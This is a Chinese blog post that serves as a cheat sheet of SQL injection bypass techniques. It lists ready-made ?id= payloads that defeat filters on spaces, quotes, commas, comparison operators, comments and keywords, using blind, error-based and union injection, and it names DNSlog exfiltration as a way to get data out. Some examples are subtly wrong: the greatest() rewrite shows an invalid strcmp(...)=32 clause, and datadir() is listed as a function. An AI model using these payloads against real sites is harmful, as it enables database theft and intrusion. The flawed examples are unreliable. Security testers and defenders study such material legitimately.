当前位置: 首页 > article >正文

WEB安全--SQL注入--bypass技巧

一、SQL注入时绕过过滤:

1.1、符号被过滤:

1.1.1、空格:

#1.利用括号绕过:
?id=1'and(sleep(ascii(substr(database(),(1),(1)))>115))--

#2.利用/**/绕过:
?id=-1'and/**/updatexml(1,concat(database(),0x7e),1)--

#3.利用%0a|%0b|%0c|%09|%a0绕过:
?id=-1'and%0aunion%0aselect%0a1,2,database()--

1.1.2、引号:

#1.十六进制编码绕过:
select column_name from information_schema.tables where table_name="users"

select column_name from information_schema.tables where table_name=0x7573657273

#2.反引号``绕过:
select * from `users`;

1.1.3、逗号:

#1.在substr()、mid()这样的阶段函数中,可以用from for绕过:
substr(str from pos for len)

#2.使用join关键字绕过:
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)c

#3.在limit中使用offset绕过:
select * from users limit 0,1
select * from users limit 1 offset 0

1.1.4、“< >”:

greatest(n1,n2,n3,...) //返回其中的最大值

strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

strcmp(substr(database(),1,1),'s')

in 操作符

between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),1,1))>64
								


此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),32)=32

1.1.5、注释符:

#1.闭合后面的引号:
id=-1' union select 1,user(),3 and '1'='1

#2.截断后面的语句:
id=-1' union select 1,user(),3;%00

1.1.6、等号:

#1.like:
select * from users where id like 1;

#2.正则:
select * from users where username regexp('admin');

1.2、关键字被过滤:

如union、select、where等:

#1.如果关键字被替换为空,使用双写或大小写绕过:
?id=-1'UniOn SelECt 1,2,database()--
?id=-1'ununionion selselectect 1,2,user()--

#2.如果关键字被正则匹配过滤,可以在注释中写关键字:
    waf: \bunion(.*?)select\b
    payload: /*!50000union/**//**/all*//*!select*/  --绕过\b匹配单词边界
             /*!%55NiOn*//*!%53eLEct*/              --通过url_encode绕过
             /**/UNION/**//*!50000SELECT*//**/
             /*--*/union/*--*/select/*--*/
             /**/uNIon/**/sEleCt/**/
             1e0union/**/select           
?id=1e0union/**/(select+1,(select/**/schema_name/**/from/**/information_schema.schemata
/**/limit/**/0,1),3)#                               --科学计数法绕过\b匹配单词边界

1.3、函数被过滤:

1.3.1、用效果相同的函数代替:

substr()、substring() ==> left()、right()、mid()、lpad()、rpad()
hex()、bin() ==> ascii()
sleep() ==> benchmark()
concat_ws()==>group_concat()
@@user ==> user()
@@datadir ==> datadir()

1.3.2、用生僻函数代替:

polygon() ==> updatexml()

二、绕过输出内容的过滤:

#1.转码:
base64_decode()
hex()

#2.解密:
md5

#3.将查询结果写入文件再读取:
dnslog外带


http://www.kler.cn/a/554745.html

相关文章:

  • 【SpringBoot整合系列】HttpClient远程访问的示例
  • ”将一维数组a中的n个数逆序存放到原数组“的算法时间和空间复杂度
  • UNIAPP开发之利用阿里RTC服务实现音视频通话后端THINKPHP5
  • 利用爬虫精准获取商品销量详情:实战案例指南
  • luci界面开发中的MVC架构——LuCI介绍(二)
  • ubuntu22.04桥接模式开代理
  • Mac M3/M4 本地部署Deepseek并集成vscode
  • 氧传感器芯片cj125驱动
  • XTOM-TRANSFORM自动化三维测量系统用于汽车零部件质量控制
  • Unity shader glsl着色器特效之 模拟海面海浪效果
  • Redis 存在线程安全问题吗?为什么?
  • 快速入门——Vue框架快速上手
  • 神经网络八股(1)
  • C++ 课程设计 汇总(含源码)
  • Ubuntu:wvp-GB28181-pro安装、运行
  • 记录一次部署PC端网址全过程
  • Java集合框架中常用类及其底层数据结构的详细分类
  • 使用ESP32与INMP441麦克风模块实现音频传输
  • MySQL执行计划Explain如何分析 SQL语句?
  • Spring Boot项目中实现Excel的导出功能